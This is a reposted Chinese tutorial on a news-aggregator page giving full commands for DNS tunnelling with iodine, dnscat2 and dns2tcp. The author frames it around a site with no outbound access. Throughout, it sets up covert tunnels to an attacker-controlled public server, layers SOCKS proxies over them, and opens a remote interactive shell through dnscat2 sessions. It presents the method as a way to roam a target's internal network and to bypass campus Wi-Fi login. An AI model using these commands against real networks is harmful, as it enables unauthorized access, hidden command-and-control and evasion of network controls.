Redian新闻
>
保姆级 DNS 安全隧道中文部署指南

保姆级 DNS 安全隧道中文部署指南

公众号新闻

转自:奇妙的Linux世界,原文:https://url.hi-linux.com/c0qPz,版权归原作者所有。

 一.DNS隧道准备 


和我哥们在看一个站点的时候,发现是不出网的,但是站点可以做DNS查询,所以想着搭建一个DNS隧道。


此篇文章为了读者看起来更加清楚,我的公网服务器与域名都是未打码的,希望各位大佬手下留情。


1.DNS隧道介绍


DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.xxx.ga),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。

搭建DNS隧道的工具目前有iodine,dnscat,dns2tcp等

我目前使用的是iodine工具去搭建。


2.前期准备


1个域名,1个公网服务器,需要申请一个域名(最好匿名的,推荐申请网站http://www.freenom.com/zh/index.html),免费且匿名的。

申请的时候直接带上后缀申请,不然会显示域名不可用(例如:jingbao123.ga)。


申请好之后推荐将freenom的域名服务器更改为腾讯dnspod的,更方面管理域名并且可以配置NS解析,freenom我没找到NS记录。

dnspod:https://www.dnspod.cn,在dnspod中添加刚申请的域名,然后dnspod会给出两条dns服务器地址,


将freenom中dns服务器更改为dnspod提供的地址,就可以将域名的解析权给引到dnspod。


dnspod得到域名的管理权之后,在里面添加两条解析记录。


第一条A类记录,告诉域名系统,"www.woshishui120.ga"的IP地址是"121.xxx.xxx.xxx"。

第二条NS记录,告诉域名系统,"ns.woshishui120.ga"的域名由"www.woshishui120.ga"进行解析。

到此前期准备工作就已经完成了,已经将域名绑定到了我们的公网服务器上。


 二.iodine DNS隧道搭建 


在我们的公网服务器安装iodine,该工具服务端为iodined,客户端为iodine。

执行apt install iodine命令会同时安装服务端与客户端。


1.服务端


在公网服务器上部署iodine服务端。(需要root权限运行)

iodined -f -c -P 123.com 192.168.200.1 ns.woshishui120.ga -DD
  • \-f:在前台运行
  • \-c:禁止检查所有传入请求的客户端IP地址。
  • \-P:客户端和服务端之间用于验证身份的密码。
  • \-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

这里的192.168.200.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突。

注意!填写的地址为NS记录


执行完该命令之后会新生成一个dns0虚拟网卡,ip地址就是刚才命令中输入的ip地址(192.168.200.1)。


ubuntu默认53端口是打开的,通过下面命令关闭掉53端口
rm /etc/resolv.conf&&echo "nameserver x.x.x.x" >> /etc/resolv.conf 配置dns服务器(x.x.x.x改为dns服务器,8.8.8.8等)

systemctl stop systemd-resolved 停止该进程
systemctl disable systemd-resolved 关闭开机自启动


2.客户端


客户端我使用的kali,kali自带iodine工具。

iodine -f -P 123.com ns.woshishui120.ga -M 200
  • -r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
  • -M:指定上行主机的大小。
  • -m:调节最大下行分片的大小。
  • -f:在前台运行
  • -T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
  • -O:指定数据编码规范。
  • -P:客户端和服务端之间用于验证身份的密码。
  • -L:指定是否开启懒惰模式,默认开启。
  • -I:指定两个请求之间的时间间隔。


3.坑点


我客户端执行连接命令之后,死活连接不到(如上图所示),刚开始我以为我的ns记录未生效,但是中午配置的下午我试还是不行。我又认为是腾讯云的缘故,53端口不可用等,但是各位大佬说53端口是可用的,于是就求助各位大佬。最终大佬给的这篇文章有了答案。https://exploit0.cn/archives/571/
我的公网服务器是腾讯云的,我当时只在防火墙管理面板打开了tcp53端口,但是没有打开udp53端口。dns解析使用的是udp53端口。


于是我快速的打开了腾讯云防火墙的udp53端口。


然后继续执行上述命令。


可以看到已经连接成功。但是会报编码错误,经过大佬指示该工具也可以指定编码。参数为-O
iodine -f -P 123.com ns.woshishui120.ga  -M 200 -O base64


虽然也会出现编码错误,但是比刚才明显少了很多。连接成功之后,kali上也会生成一个虚拟网卡。ip地址被分配为192.168.200.2。


在kali上ping一下公网服务器的虚拟地址,可以ping通,说明DNS隧道已经搭建成功了。


现在就相当于在公网服务器和kail之间各生成了一个虚拟网卡,然后这两个虚拟网卡之间是互通的,


在公网服务器上连接kali的虚拟地址,使用ssh做一个动态端口转发。
ssh -D 60688 [email protected]


但此时只相当于在公网服务器的192.168.200.1的60688端口搭建了一个socks5代理隧道,如果想要本地使用该隧道是行不通的,因为192.168.200.1相当于一个内网地址,是不能直接访问得到的,所以需要将公网服务器虚拟网卡地址192.168.200.1的60688端口数据转发到公网服务器公网地址的一个端口上。这个端口转发我还没试(不知道采用哪个工具会好点)。
我用的是frp在两个虚拟网卡之间搭建一个反向隧道。


4.frp搭建隧道


在公网服务器开启服务端。


然后使用kali去连接,kali连接的服务端ip为公网服务器虚拟网卡的ip。


kali显示如下


公网服务器显示如下


即成功在公网服务器的60688端口搭建了一个socks5隧道,相当于socks5隧
道套接在dns隧道里面。


然后就可以通过公网服务器的60688端口去遨游kali的内网。(但是感觉很卡)


 三.dnscat2 DNS隧道搭建 


(1)直连模式:

客户端直接向指定IP地址的DNS服务器发起DNS解析请求


1.服务端
公网服务器做服务端
ruby dnscat2.rb

2.客户端
dnscat --dns server=121.5.145.31,port=53 --secret=4575d232b01034db7eae9baa9ac4dbe2
kali做客户端:命令为服务端输出的命令(上图红色圈出的地方,x.x.x.x更改为自己公网服务器地址)


不知道为什么直连模式下kali连接不到服务端(有大佬知道的可以告知下)


(2)中继模式


DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

1.服务端
公网服务器作为服务端
ruby dnscat2.rb ns.woshishui120.ga -e open --no-cache -c 123.com
-e:指定安全级别,open表示服务端运行客户端不进行加密
-c:指定密钥
--no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容


2.客户端

kali作为客户端
dnscat --secret=123.com ns.woshishui120.ga


使用dnscat2搭建dns隧道,搭建成功之后,会在服务端生成一个session,


进入session 2执行shell之后会生成一个新session,


该新session可以执行命令。


sessions 列出所有session
session -i 2 进入session 2
shell:创建交互式shell
suspend:返回上一层
listen 127.0.0.1:888 127.0.0.1:22 第一个127.0.0.1为服务端ip,第二个127.0.0.1为客户端ip,将客户端的22端口转到服务端的888端口 ssh -p 888 127.0.0.1


 四.dns2tcp DNS隧道搭建 


1.服务端


公网服务器做服务端。

更改dns2tcp配置文件的listen为0.0.0.0,(监听在0.0.0.0就可以让客户端连接到服务端)

resources后面可以自己更改,name:公网服务器_ip:port ,格式按照这个即可。名字,端口随便设置,公网服务器_ip为公网服务器公网ip。名字设置为name,客户端-r后面参数就跟设置的name。

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
  • -f /etc/dns2tcpd.conf”指定了配置文件,
  • -F要求程序在前台运行,
  • -d 2 指明了输出调试信息,级别为2


2.客户端


kali做客户端
dns2tcpc -r ssh -z ns.woshishui120.ga -l 8888 -d 2 中继模式
dns2tcpc -r ssh -z ns.woshishui120.ga 121.5.145.31 -l 8888 -d 2 直连模式。

  • -r 后接服务名称<ssh/socks中的任意一个>,该名称自己随便在服务端的配置文件dns2tcpd.conf设置,
  • -z 后接你设置的NS记录,和你的公网服务器公网ip <公网ip> 可不填,不写将使用中继模式,否则使用直连模式
  • 中继模式像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
  • -l 后接本地端口,随便一个常用端口就行,8888”指明了隧道的这头监听的端口
  • -d 开启 Debug ,"-d 2"指明了输出调试信息,级别为2,作用和服务器端相同
  • -k 密码

该命令代表:连接服务端的ssh名称,访问kali的8888端口相当于访问vps的22端口。


输入该命令之后客户端和服务端并不会有输出,刚开始我看没输出,还以为没连接上。

ssh ubuntu@公网服务器 -p 8888 就可连接到公网服务器的ssh服务上。(输入该命令之后服务端与客户端就会有输出)


如果想要通过该dns隧道达到访问互联网的目的。-r指定服务端配置文件的socks,还需要在服务端的60688端口开启一个正向的socks5隧道(该端口在服务端的配置文件中设置,socks:121.5.145.31:60688,socks和60688都可以随便设置),不然就只是kali和公网服务器互通了,但是kali不能通过公网服务器访问互联网,当在公网服务器的60688端口开启一个socks5隧道后,就可以通过kali与公网服务器的dns隧道互通,然后通过公网服务器的socks5端口(60688)去访问互联网。

公网服务器开启正向socks5,可以使用gost或者proxy

gost开启正向socks5代理
gost -L=socks5://:60688公网服务器开启正向socks5代理


proxy开启正向socks5代理
proxy socks -t tcp -p "0.0.0.0:60688" --udp-port 0 --udp
goproxy使用:https://github.com/snail007/goproxy/blob/master/README_ZH.md


gost或者proxy随便选择一种即可,个人感觉gost比较快一点
dns2tcpc -r socks -z ns.woshishui120.ga -l 8888 -d 2


此时访问kali的8888端口,就可以访问互联网。


kali配置代理访问百度。


就可以实现在只有dns出网的环境下,访问互联网。


 五.工具利用环境 


1.外->内


iodine和dnscat2使用环境:目标是内网,并且只有dns出网的情况下,通过自己的公网服务器搭建到目标的dns隧道,从而通过公网服务器代理进入目标内网,遨游目标内网。


2.内->外


dns2tcp使用的环境是:自己在一个内网里面,自己所处的环境不出网,但是dns可以出网,就可以用过dns2tcp搭建一个dns隧道,从而可以访问到互联网环境。

典型环境:在学校连接到wifi之后,必须要认证登陆,不然不能上网,但是浏览器又能加载出登陆界面,此情况就是dns出网,可以通过dns2tcp搭建dns隧道绕过认证登陆。


END

官方站点:www.linuxprobe.com

Linux命令大全:www.linuxcool.com

刘遄老师QQ:5604241

Linux技术交流群:3762708

(新群,火热加群中……)

想要学习Linux系统的读者可以点击"阅读原文"按钮来了解书籍《Linux就该这么学》,同时也非常适合专业的运维人员阅读,成为辅助您工作的高价值工具书!


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
兔年新春聚会多?收藏这份保姆级攻略,手把手教你稳占C位!假睫毛的保姆级攻略!怎么选、怎么贴,看这篇!压紧压实新行业新业态安全责任、关注居民区消防安全…今天市安全生产、防灾减灾和消防会议部署这些重点工作如何通过古DNA探究人类演化?刘逸宸:古DNA为人类演化带来新见解,不同学科交融深入是必然趋势薅羊毛!加拿大租房补贴最高可领500!保姆级攻略!关注丨官方发布!14个“保姆级”新冠“食疗方”从 0 到 1 的降本增效保姆级指南,这次你一定不能错过 | Q推荐刷屏全网的ChatGPT到底是什么?保姆级注册教程来了(包教包会)!说实话,Jenkins 真得很牛逼!只是大部分人不会用而已~(保姆级教程)中国护照如何在亚特兰大办理申根签证~保姆级教程OpenStack 已死?最新报告显示 OpenStack 部署呈爆发式增长,整体规模超4000万东北大学保姆级租房攻略,建议收藏诺贝尔奖看中的中国女作家保姆级A-Level物理备考攻略!热浪来袭!澳洲极端天气高达46℃!不如来这些世界顶级滑雪场避避暑!内附保姆级滑雪清单!重磅!入境不隔离,落地就回家!华人回国0阻碍!快来查收保姆级带娃回国攻略!神奇!保姆级10大经典信号通路攻略解读,不怕学不会Wnt、PI3K等大BOSS韩国隧道发生惨烈火灾,5人死亡多人受伤,隧道整个顶棚竟都是亚克力??!毕业神刊合集!Nutrients,Medicine,Genomics,Cancers 保姆级期刊解读。隐居美入籍考试2改革「更简单、标准化」明年试点!附100道中文考题及答案武家治世倚刀剑,三府弄权七百年如何理解 logrotate 实用工具?请收下这份保姆级教程不是谦虚,我真的不是这里带娃的天花板!山东保姆多次猥亵男婴被判五年,网友曝料:是男保姆!作案细节恶心到令人发指…【悦居锦囊】英国TV Licence电视授权保姆级全攻略篇如何快速发表SCI?保姆级教程,1小时学会SCI写作、发表套路!DNF国服立大功,Nexon Q4中国收入同比猛增55%,DNF手游啥时候安排?关于启动2023年度日本政府(文部科学省)日本语、日本文化研修生奖学金及教员研修生奖学金遴选工作的通知说实话,Jenkins很牛逼!只是你不会用而已(保姆级教程)中国护照如何在美国办理申根签证~保姆级教程保姆猥亵男婴事件后,网友却只在乎保姆的性别大规模、准确合成长链DNA,英国初创引入半导体技术,打造新型酶促DNA合成方法中国愤青摄影展(儿童不宜)美国公民入籍考试要改革!2023年试点(附100道中文考题及答案)
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。